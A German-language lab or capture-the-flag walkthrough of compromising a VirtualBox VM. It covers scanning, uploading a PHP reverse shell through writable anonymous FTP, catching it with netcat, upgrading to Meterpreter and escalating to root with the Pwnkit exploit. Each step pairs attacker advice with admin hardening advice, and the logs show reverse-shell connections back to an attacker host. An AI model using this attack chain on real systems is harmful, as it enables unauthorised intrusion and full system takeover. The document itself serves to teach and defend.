Wir beginnen mit einem ARP-Scan, um das Ziel im lokalen Netzwerk zu identifizieren, gefolgt von Port- und Service-Scans.
192.168.2.116 08:00:27:24:72:1d PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sucht mittels ARP-Protokoll nach aktiven Geräten im lokalen Netzwerk.
Bewertung: Ein Host mit der IP `192.168.2.116` wurde erfolgreich gefunden. Die MAC-Adresse (`08:00:27:24:72:1d`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP notieren und mit weiteren Scans fortfahren.
Empfehlung (Admin): Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.
Ein umfassender Nmap-Scan wird durchgeführt, um offene Ports, Dienste und Betriebssysteminformationen zu sammeln.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 23:40 CEST Nmap scan report for ubuntu (192.168.2.116) Host is up (0.00013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 109 Nov 26 2020 CALL.html 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2f:c6:2f:c4:6d:a6:f5:5b:c2:1b:f9:17:1f:9a:09:89 (RSA) | 256 5e:91:1b:6b:f1:d8:81:de:8b:2c:f3:70:61:ea:6f:29 (ECDSA) |_ 256 f1:98:21:91:c8:ee:4d:a2:83:14:64:96:37:5b:44:3d (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 08:00:27:24:72:1D (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms ubuntu (192.168.2.116)
Analyse: `nmap` scannt alle TCP-Ports (`-p-`) mit SYN-Scan (`-sS`), Standard-Skripten (`-sC`), schnellem Timing (`-T5`) sowie OS- und Service-Erkennung (`-A`, `-O`).
Bewertung: Der Scan identifiziert drei offene Ports:
Empfehlung (Pentester): Untersuchen Sie sofort den anonymen FTP-Zugang auf Port 21. Laden Sie die Datei `CALL.html` herunter und analysieren Sie sie. Überprüfen Sie den Webserver auf Port 80 auf weitere Inhalte.
Empfehlung (Admin): Deaktivieren Sie den anonymen FTP-Zugang, wenn er nicht betriebsnotwendig ist. Aktualisieren Sie ProFTPD, OpenSSH und Apache auf aktuelle Versionen.
Zur Übersicht filtern wir die offenen Ports.
21/tcp open ftp ProFTPD 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.
Bewertung: Bestätigt die drei offenen Ports 21, 22 und 80.
Empfehlung (Pentester): Klar definierte Angriffsvektoren.
Empfehlung (Admin): Notwendigkeit prüfen.
Ein Nikto-Scan wird gegen den Webserver durchgeführt.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.116 + Target Hostname: 192.168.2.116 + Target Port: 80 + Start Time: 2023-05-29 23:41:36 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 2be7, size: 5b504999e72a0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS . + /files/: Directory indexing found. + /files/: This might be interesting. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2023-05-29 23:41:51 (GMT2) (15 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto scannt den Webserver auf Port 80.
Bewertung: Bestätigt die veraltete Apache-Version (2.4.18), fehlende Security Header und das ETag-Leak. Findet zusätzlich ein Verzeichnis `/files/` mit aktiviertem Directory Indexing und die Standarddatei `/icons/README`.
Empfehlung (Pentester): Untersuchen Sie den Inhalt des Verzeichnisses `/files/`.
Empfehlung (Admin): Aktualisieren Sie Apache. Implementieren Sie Security Header. Deaktivieren Sie Directory Indexing für `/files/` und entfernen Sie `/icons/README`.
Wir verbinden uns mit dem FTP-Dienst und untersuchen den anonymen Zugang.
Connected to 192.168.2.116. 220 ProFTPD Server (ProFTPD Default Installation) [192.168.2.116] Name (192.168.2.116:cyber): anonymous 331 Anonymous login ok, send your complete email address as your password Password: 230 Anonymous access granted, restrictions apply Remote system type is UNIX. Using binary mode to transfer files.
Analyse: Verbindung zum FTP-Server und Anmeldung als Benutzer `anonymous` ohne Passwort.
Bewertung: Anonymer Login erfolgreich.
Empfehlung (Pentester): Verzeichnisinhalt auflisten.
Empfehlung (Admin): Anonymen Zugang deaktivieren, falls nicht benötigt.
229 Entering Extended Passive Mode (|||48554|) 150 Opening ASCII mode data connection for file list drwxr-xrwx 2 33 33 4096 Nov 26 2020 . drwxr-xrwx 2 33 33 4096 Nov 26 2020 .. -rw-r--r-- 1 0 0 109 Nov 26 2020 CALL.html 226 Transfer complete
Analyse: Listet den Inhalt des FTP-Stammverzeichnisses auf.
Bewertung: Findet die bereits von Nmap gemeldete Datei `CALL.html`. Wichtig: Das aktuelle Verzeichnis (`.`) hat Schreibrechte für Alle (`drwxr-xrwx`) und gehört dem Benutzer mit UID 33 (oft `www-data`).
Empfehlung (Pentester): Laden Sie `CALL.html` herunter. Beachten Sie die Schreibrechte – hier könnte möglicherweise eine Datei hochgeladen werden.
Empfehlung (Admin): **Kritisch!** Entfernen Sie die Schreibrechte für anonyme Benutzer auf dem FTP-Server (`chmod o-w /path/to/ftp/root`).
local: CALL.html remote: CALL.html 229 Entering Extended Passive Mode (|||34471|) 150 Opening BINARY mode data connection for CALL.html (109 bytes) 100% |*************************************************| 109 412.57 KiB/s 00:00 ETA 226 Transfer complete 109 bytes received in 00:00 (145.02 KiB/s)
Analyse: Lädt die Datei `CALL.html` herunter.
Bewertung: Download erfolgreich.
Empfehlung (Pentester): Analysieren Sie den Inhalt von `CALL.html`.
Empfehlung (Admin): Keine Aktion.
Versuche, in andere Verzeichnisse zu wechseln, scheitern, was auf eine Chroot-Umgebung hindeutet.
550 /var: No such file or directory
550 ~: No such file or directory
550 /home: No such file or directory
Analyse: Versuche, das aktuelle Verzeichnis zu verlassen.
Bewertung: Alle Versuche scheitern, was eine `chroot`-Konfiguration bestätigt. Der Benutzer ist auf das FTP-Stammverzeichnis beschränkt.
Empfehlung (Pentester): Fokus auf das aktuelle Verzeichnis.
Empfehlung (Admin): `chroot` ist eine sinnvolle Sicherheitsmaßnahme.
Ein erster Versuch, eine Datei hochzuladen, scheitert, wahrscheinlich wegen eines falschen lokalen Pfads.
local: HackingTools/revshell.php remote: HackingTools/revshell.php 229 Entering Extended Passive Mode (|||56029|) 550 HackingTools/revshell.php: No such file or directory
Analyse: Versuch, eine Datei aus einem Unterverzeichnis hochzuladen.
Bewertung: Fehlschlag, weil die lokale Datei nicht gefunden wurde (`No such file or directory`). Dies sagt noch nichts über die Schreibrechte auf dem Server aus.
Empfehlung (Pentester): Stellen Sie sicher, dass sich die hochzuladende Datei im aktuellen lokalen Verzeichnis befindet oder geben Sie den korrekten lokalen Pfad an.
Empfehlung (Admin): Keine Aktion.
Wir verlassen die FTP-Sitzung.
221 Goodbye.
Wir analysieren die heruntergeladene Datei und untersuchen den Webserver weiter.
onion GET READY TO RECEIVE A CALL
Analyse: Der Inhalt der Datei `CALL.html` wird angezeigt.
Bewertung: Enthält die Wörter "onion" und "CALL". "Onion" könnte auf das Tor-Netzwerk, einen Benutzernamen oder ein Passwort hindeuten. "CALL" könnte sich auf einen Rückruf (Reverse Shell) oder eine Telefonnummer beziehen. Ein eher kryptischer Hinweis.
Empfehlung (Pentester): Notieren Sie "onion" als potenziellen Benutzernamen/Passwort-Hinweis. Behalten Sie die Idee einer "Call"-Back-Verbindung im Hinterkopf.
Empfehlung (Admin): Entfernen Sie solche unklaren oder potenziell irreführenden Dateien.
Wir führen Gobuster gegen den Webserver aus (scheinbar mit falschem Hostnamen `hackable.local` statt der IP oder `ubuntu`).
=============================================================== http://hackable.local/index.html (Status: 200) [Size: 11239] http://hackable.local/files (Status: 301) [Size: 316] [--> http://hackable.local/files/] ===============================================================
Analyse: Gobuster scannt `http://hackable.local`.
Bewertung: Findet `/index.html` und das bereits von Nikto gefundene Verzeichnis `/files/`. Der verwendete Hostname `hackable.local` ist nicht der, den wir in `/etc/hosts` definiert haben oder der vom System zurückgegeben wurde (`ubuntu`). Es ist unklar, ob dieser Scan tatsächlich das richtige Ziel erreicht hat oder ob hier ein Fehler im Log vorliegt.
Empfehlung (Pentester): Verwenden Sie konsistent die korrekte IP oder den definierten Hostnamen. Untersuchen Sie das Verzeichnis `/files/` auf dem Ziel `192.168.2.116`.
Empfehlung (Admin): Keine spezifische Aktion.
Analyse des Quellcodes der Startseite (implizit, da nicht direkt gecattet):
Do you like gobuster? dirb? etc...
Analyse: Im HTML-Quellcode der Startseite befindet sich ein Kommentar.
Bewertung: Der Kommentar scheint den Benutzer zu ermutigen, Directory Brute-Forcing Tools zu verwenden, was wir bereits tun.
Empfehlung (Pentester): Bestätigt, dass Web-Enumeration ein wichtiger Schritt ist.
Empfehlung (Admin): Entfernen Sie solche Kommentare.
Ein alternativer Scan mit `dirsearch`.
_|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 4715 Output File: /root/.dirsearch/reports/hackable.local/_23-05-29_23-59-53.txt Error Log: /root/.dirsearch/logs/errors-23-05-29_23-59-53.log Target: http://hackable.local/ [23:59:53] Starting: [23:59:56] 301 - 316B - /files -> http://hackable.local/files/ [23:59:57] 200 - 11KB - /index.html [00:00:02] 403 - 279B - /server-status
Analyse: `dirsearch` wird verwendet, um nach häufigen Web-Verzeichnissen und Dateien zu suchen.
Bewertung: Bestätigt `/files/` und `/index.html`. Findet auch `/server-status`, das aber den Status 403 (Forbidden) zurückgibt. Auch hier wird der Hostname `hackable.local` verwendet.
Empfehlung (Pentester): Konzentrieren Sie sich auf das zugängliche Verzeichnis `/files/` auf der korrekten IP `192.168.2.116`.
Empfehlung (Admin): Stellen Sie sicher, dass `/server-status` deaktiviert oder stark eingeschränkt ist.
Da der anonyme FTP-Zugang Schreibrechte erlaubt, laden wir eine PHP-Reverse-Shell hoch und führen sie über den Webserver aus.
Wir verbinden uns erneut mit dem FTP-Server.
Connected to 192.168.2.116. 220 ProFTPD Server (ProFTPD Default Installation) [192.168.2.116] Name (192.168.2.116:cyber): anonymous 331 Anonymous login ok, send your complete email address as your password Password: 230 Anonymous access granted, restrictions apply Remote system type is UNIX. Using binary mode to transfer files.
Analyse: Erneuter anonymer FTP-Login.
Bewertung: Zugriff hergestellt.
Empfehlung (Pentester): Laden Sie die vorbereitete Reverse Shell hoch.
Empfehlung (Admin): Beheben Sie die Schreibrechte für anonyme Benutzer!
Wir laden die vorbereitete `revshell.php` hoch.
local: revshell.php remote: revshell.php 229 Entering Extended Passive Mode (|||31025|) 150 Opening BINARY mode data connection for revshell.php 100% |*************************************************| 5495 201.55 MiB/s 00:00 ETA 226 Transfer complete 5495 bytes sent in 00:00 (18.51 MiB/s)
Analyse: Die Datei `revshell.php` (aus dem aktuellen lokalen Verzeichnis `~/HackingTools`) wird auf den FTP-Server hochgeladen.
Bewertung: Erfolgreich! Der anonyme FTP-Server erlaubt tatsächlich Schreibzugriff. Dies ist eine kritische Fehlkonfiguration.
Empfehlung (Pentester): Bestimmen Sie den Web-Pfad zur hochgeladenen Datei und starten Sie einen Listener.
Empfehlung (Admin): **Dringend** Schreibrechte für anonyme FTP-Benutzer entfernen!
Wir überprüfen den Inhalt des FTP-Verzeichnisses.
229 Entering Extended Passive Mode (|||57156|) 150 Opening ASCII mode data connection for file list -rw-r--r-- 1 0 0 109 Nov 26 2020 CALL.html -rw-r--r-- 1 ftp ftp 1798 May 29 22:03 dict2.phtml -rw-r--r-- 1 ftp ftp 1798 May 29 22:03 dict2.txt -rw-r--r-- 1 ftp ftp 31 May 29 22:14 file.Php -rw-r--r-- 1 ftp ftp 31 May 29 22:12 file.png.Php -rw-r--r-- 1 ftp ftp 31 May 29 22:10 file.png.Php5 -rw-r--r-- 1 ftp ftp 31 May 29 22:08 rev.phar -rw-r--r-- 1 ftp ftp 31 May 29 22:06 rev.phtml -rw-r--r-- 1 ftp ftp 5495 May 29 22:19 revshell.php 226 Transfer complete
Analyse: Listet den Inhalt des FTP-Verzeichnisses nach dem Upload.
Bewertung: Zeigt unsere hochgeladene `revshell.php` sowie eine Reihe anderer Dateien, die möglicherweise von früheren Versuchen oder anderen Benutzern stammen (z.B. `dict2.phtml`, `file.Php`, etc.). Unsere Datei gehört dem Benutzer `ftp`, Gruppe `ftp`.
Empfehlung (Pentester): Der nächste Schritt ist, den Web-Pfad zu finden, der auf dieses FTP-Verzeichnis zeigt. Das von Nikto gefundene `/files/`-Verzeichnis ist ein heißer Kandidat.
Empfehlung (Admin): Bereinigen Sie das FTP-Verzeichnis und entfernen Sie die Schreibrechte.
Wir starten einen Netcat-Listener auf unserem System.
listening on [any] 9001 ...
Analyse: `nc -lvnp 9001` startet einen Listener auf TCP-Port 9001.
Bewertung: Der Listener ist bereit, die eingehende Verbindung der Reverse Shell zu empfangen.
Empfehlung (Pentester): Lösen Sie die Shell aus, indem Sie die URL zur `revshell.php` aufrufen.
Empfehlung (Admin): Ausgehende Verbindungen vom Webserver kontrollieren.
Wir lösen die Reverse Shell aus, indem wir die URL zur hochgeladenen PHP-Datei aufrufen.
Analyse: `curl` wird verwendet, um eine HTTP-Anfrage an `http://hackable.local/files/revshell.php` zu senden. Wir nehmen an, dass das Web-Verzeichnis `/files/` auf das FTP-Stammverzeichnis zeigt. Dadurch wird das PHP-Skript auf dem Server ausgeführt.
Bewertung: Der Aufruf löst die Ausführung der `revshell.php` aus, die sich zurück zu unserem Netcat-Listener verbindet.
Empfehlung (Pentester): Überprüfen Sie das Listener-Fenster auf die eingehende Verbindung.
Empfehlung (Admin): Verhindern Sie die Ausführung von Skripten in Verzeichnissen, die über FTP beschreibbar sind. Konfigurieren Sie Webserver und PHP sicher.
Die Verbindung kommt beim Listener an.
listening on [any] 9001 ... connect to [192.168.2.113] from (UNKNOWN) [192.168.2.116] 43954 Linux ubuntu 4.4.0-194-generic #226-Ubuntu SMP Wed Oct 21 10:19:36 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 19:20:14 up 40 min, 0 users, load average: 0.00, 0.01, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: Der Netcat-Listener zeigt eine eingehende Verbindung von der Ziel-IP (`192.168.2.116`). Systeminformationen und der Benutzer (`www-data`) werden angezeigt. Wir haben eine Shell.
Bewertung: Initial Access erfolgreich! Wir haben eine Shell als Webserver-Benutzer `www-data` erlangt. Die Shell ist jedoch nicht vollständig interaktiv.
Empfehlung (Pentester): Stabilisieren Sie die Shell für eine bessere Benutzerfreundlichkeit (z.B. mit Python PTY). Beginnen Sie mit der lokalen Enumeration als `www-data`.
Empfehlung (Admin): Beheben Sie die FTP-Schreibrechte und die Möglichkeit, PHP-Dateien in Web-zugänglichen Verzeichnissen auszuführen.
Wir stabilisieren die Shell mit Python PTY und stty.
www-data@ubuntu:/$
[1] + continued nc -lvnp 9001
Analyse: Standardverfahren zur Stabilisierung einer einfachen Netcat-Shell: Python wird verwendet, um eine Pseudo-Terminal (PTY) zu erzeugen, die `TERM`-Variable wird gesetzt, der Listener-Prozess wird lokal in den Hintergrund geschickt (`^Z`), das lokale Terminal wird auf `raw -echo` gesetzt, der Listener wird wieder in den Vordergrund geholt (`fg`), und das Terminal wird mit `reset` neu initialisiert.
Bewertung: Die Shell ist nun vollständig interaktiv, was die weitere Arbeit erleichtert (z.B. Tab-Vervollständigung, Pfeiltasten).
Empfehlung (Pentester): Fahren Sie mit der lokalen Enumeration fort.
Empfehlung (Admin): Keine spezifische Aktion.
Wir suchen nach Möglichkeiten zur Privilegienerweiterung von `www-data` aus.
390215 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping 399794 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount 390205 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /bin/mount 390232 40 -rwsr-xr-x 1 root root 40128 Mar 26 2019 /bin/su 390249 28 -rwsr-xr-x 1 root root 27608 Jan 27 2020 /bin/umount 390216 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 205 76 -rwsr-xr-x 1 root root 75304 Mar 26 2019 /usr/bin/gpasswd 147 72 -rwsr-xr-x 1 root root 71824 Mar 26 2019 /usr/bin/chfn 274 56 -rwsr-xr-x 1 root root 54256 Mar 26 2019 /usr/bin/passwd 17908 36 -rwsr-xr-x 1 root root 32944 Mar 26 2019 /usr/bin/newgidmap 149 40 -rwsr-xr-x 1 root root 40432 Mar 26 2019 /usr/bin/chsh 17909 36 -rwsr-xr-x 1 root root 32944 Mar 26 2019 /usr/bin/newuidmap 19449 24 -rwsr-xr-x 1 root root 23376 Mar 27 2019 /usr/bin/pkexec 18865 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at 264 40 -rwsr-xr-x 1 root root 39904 Mar 26 2019 /usr/bin/newgrp 354 136 -rwsr-xr-x 1 root root 136808 Jan 31 2020 /usr/bin/sudo 451 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 17890 84 -rwsr-xr-x 1 root root 84120 Apr 9 2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 29970 112 -rwsr-xr-x 1 root root 110792 Oct 12 2020 /usr/lib/snapd/snap-confine 269956 44 -rwsr-xr-- 1 root messagebus 42992 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 19445 16 -rwsr-xr-x 1 root root 14864 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 18627 420 -rwsr-xr-x 1 root root 428240 May 26 2020 /usr/lib/openssh/ssh-keysign
Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.
Bewertung: Findet eine Reihe von Standard-SUID-Dateien. `/usr/bin/pkexec` ist wieder vorhanden (Pwnkit-Potenzial). `/usr/bin/sudo` ist ebenfalls vorhanden.
Empfehlung (Pentester): Überprüfen Sie die Version von `pkexec` oder testen Sie auf Pwnkit. Prüfen Sie, ob `www-data` irgendwelche `sudo`-Rechte hat (unwahrscheinlich). Suchen Sie nach anderen Vektoren (Kernel-Exploits, Fehlkonfigurationen, Cronjobs).
Empfehlung (Admin): Minimieren Sie SUID-Binaries. Patchen Sie `polkit`.
An dieser Stelle folgt im Log die Einrichtung einer weiteren Reverse Shell über `mkfifo` und Netcat, die dann zu Metasploit verbunden und zu Meterpreter aufgewertet wird. Dies dient wahrscheinlich dazu, eine zuverlässigere Verbindung für die Ausführung von Metasploit-Modulen zu erhalten.
[*] Started reverse TCP handler on 192.168.2.113:4444 [*] Command shell session 1 opened (192.168.2.113:4444 -> 192.168.2.116:58658) at 2023-05-30 00:27:42 +0200 Shell Banner: $ ----- $
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.113:4433 [*] Sending stage (1017704 bytes) to 192.168.2.116 [*] Meterpreter session 2 opened (192.168.2.113:4433 -> 192.168.2.116:37660) at 2023-05-30 00:29:56 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Analyse: Eine zweite, stabilere Reverse-Shell-Verbindung wird mittels `mkfifo` und `nc` aufgebaut und an einen Metasploit-Listener (Port 4444) gesendet. Diese Shell (Session 1) wird dann mit `shell_to_meterpreter` zu einer Meterpreter-Sitzung (Session 2 auf Port 4433) aufgewertet.
Bewertung: Erfolgreiche Etablierung einer Meterpreter-Sitzung als `www-data`. Dies bietet eine robustere Plattform für weitere Aktionen.
Empfehlung (Pentester): Verwenden Sie die Meterpreter-Sitzung (Session 2) für die weitere Enumeration und Privilegienerweiterung.
Empfehlung (Admin): Überwachung und Beschränkung ausgehender Verbindungen.
Wir verwenden den `local_exploit_suggester` in Metasploit.
[*] 192.168.2.116 - Collecting local exploits for x86/linux... [*] 192.168.2.116 - 184 exploit checks are being tried... [+] 192.168.2.116 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable. [*] Running check method for exploit 12 / 57
Analyse: Der `local_exploit_suggester` wird auf die Meterpreter-Sitzung 2 angewendet.
Bewertung: Der Suggester identifiziert `exploit/linux/local/bpf_sign_extension_priv_esc` (CVE-2022-23222) als potenzielle Schwachstelle. Interessanterweise wird Pwnkit hier *nicht* explizit als "vulnerable" gemeldet, obwohl `pkexec` vorhanden ist. Dies kann an der Art liegen, wie der Suggester die Anfälligkeit prüft, oder an der spezifischen Konfiguration.
Empfehlung (Pentester): Versuchen Sie den vorgeschlagenen BPF-Exploit. Da Pwnkit (CVE-2021-4034) jedoch oft sehr zuverlässig ist und `pkexec` vorhanden ist (Datum 2019), ist es sinnvoll, diesen Exploit ebenfalls manuell zu versuchen, falls der BPF-Exploit fehlschlägt. (Der weitere Logverlauf zeigt, dass Pwnkit verwendet wird).
Empfehlung (Admin): Patchen Sie den Kernel (für BPF-Schwachstellen) und Polkit.
Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`), um von der Meterpreter-Sitzung als `www-data` zu Root-Rechten zu gelangen.
Kurzbeschreibung: Obwohl der Exploit-Suggester Pwnkit nicht explizit hervorhob, ist `pkexec` vorhanden. Wir entscheiden uns, den zuverlässigen Pwnkit-Exploit aus Metasploit manuell zu verwenden, um Root-Rechte zu erlangen.
Voraussetzungen: Aktive Meterpreter-Sitzung als `www-data` (Session 2). Vorhandensein einer anfälligen Version von `pkexec` auf dem Zielsystem.
Schritt 1: Ausführung des Pwnkit-Exploits
Wir laden das Pwnkit-Modul in Metasploit, konfigurieren es für unsere Meterpreter-Sitzung und führen es aus.
[*] Started reverse TCP handler on 192.168.2.113:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.uzslbudyme [+] The target is vulnerable. [*] Writing '/tmp/.futwlma/suosrc/suosrc.so' (548 bytes) ... [!] Verify cleanup of /tmp/.futwlma [*] Sending stage (3045348 bytes) to 192.168.2.116 [+] Deleted /tmp/.futwlma/suosrc/suosrc.so [+] Deleted /tmp/.futwlma/.hvmkctqzjo [+] Deleted /tmp/.futwlma [*] Meterpreter session 3 opened (192.168.2.113:4444 -> 192.168.2.116:58664) at 2023-05-30 00:34:26 +0200
Analyse: Das Pwnkit-Exploit-Modul wird geladen und gegen die Meterpreter-Sitzung 2 ausgeführt. Es wird ein neuer Listener auf Port 4444 gestartet. Der Exploit prüft die Anfälligkeit, lädt notwendige Dateien hoch, führt den Exploit aus und bereinigt die temporären Dateien.
Bewertung: Erfolg! Der Exploit meldet, dass das Ziel anfällig ist und öffnet eine neue Meterpreter-Sitzung (Session 3).
Empfehlung (Pentester): Wechseln Sie zur neuen Meterpreter-Sitzung 3 und überprüfen Sie die Rechte.
Empfehlung (Admin): Dringend Polkit patchen (CVE-2021-4034).
Schritt 2: Bestätigung des Root-Zugriffs
Wir interagieren mit der neuen Meterpreter-Sitzung.
Computer : 192.168.2.116 OS : Ubuntu 16.04 (Linux 4.4.0-194-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux
Process 1917 created. Channel 2 created.
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Analyse: Nach dem Wechsel zu Session 3 (implizit) wird `sysinfo` ausgeführt, was OS-Details bestätigt (Ubuntu 16.04, Kernel 4.4). Dann wird mit `shell` eine System-Shell geöffnet und `id` ausgeführt.
Bewertung: Die Ausgabe `uid=0(root)` bestätigt, dass die neue Sitzung Root-Rechte hat. Die Privilegienerweiterung war erfolgreich.
Empfehlung (Pentester): Ziel erreicht. Sammeln Sie die Flags.
Empfehlung (Admin): Patchen, patchen, patchen!
Risikobewertung: Die Kombination aus einer unsicheren FTP-Konfiguration (anonym, beschreibbar), die das Hochladen einer Webshell ermöglichte, und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar. Sie ermöglichte einem Angreifer mit Netzwerkzugriff die Eskalation von keiner Authentifizierung zu vollen Root-Rechten.
Empfehlungen (Zusammenfassung):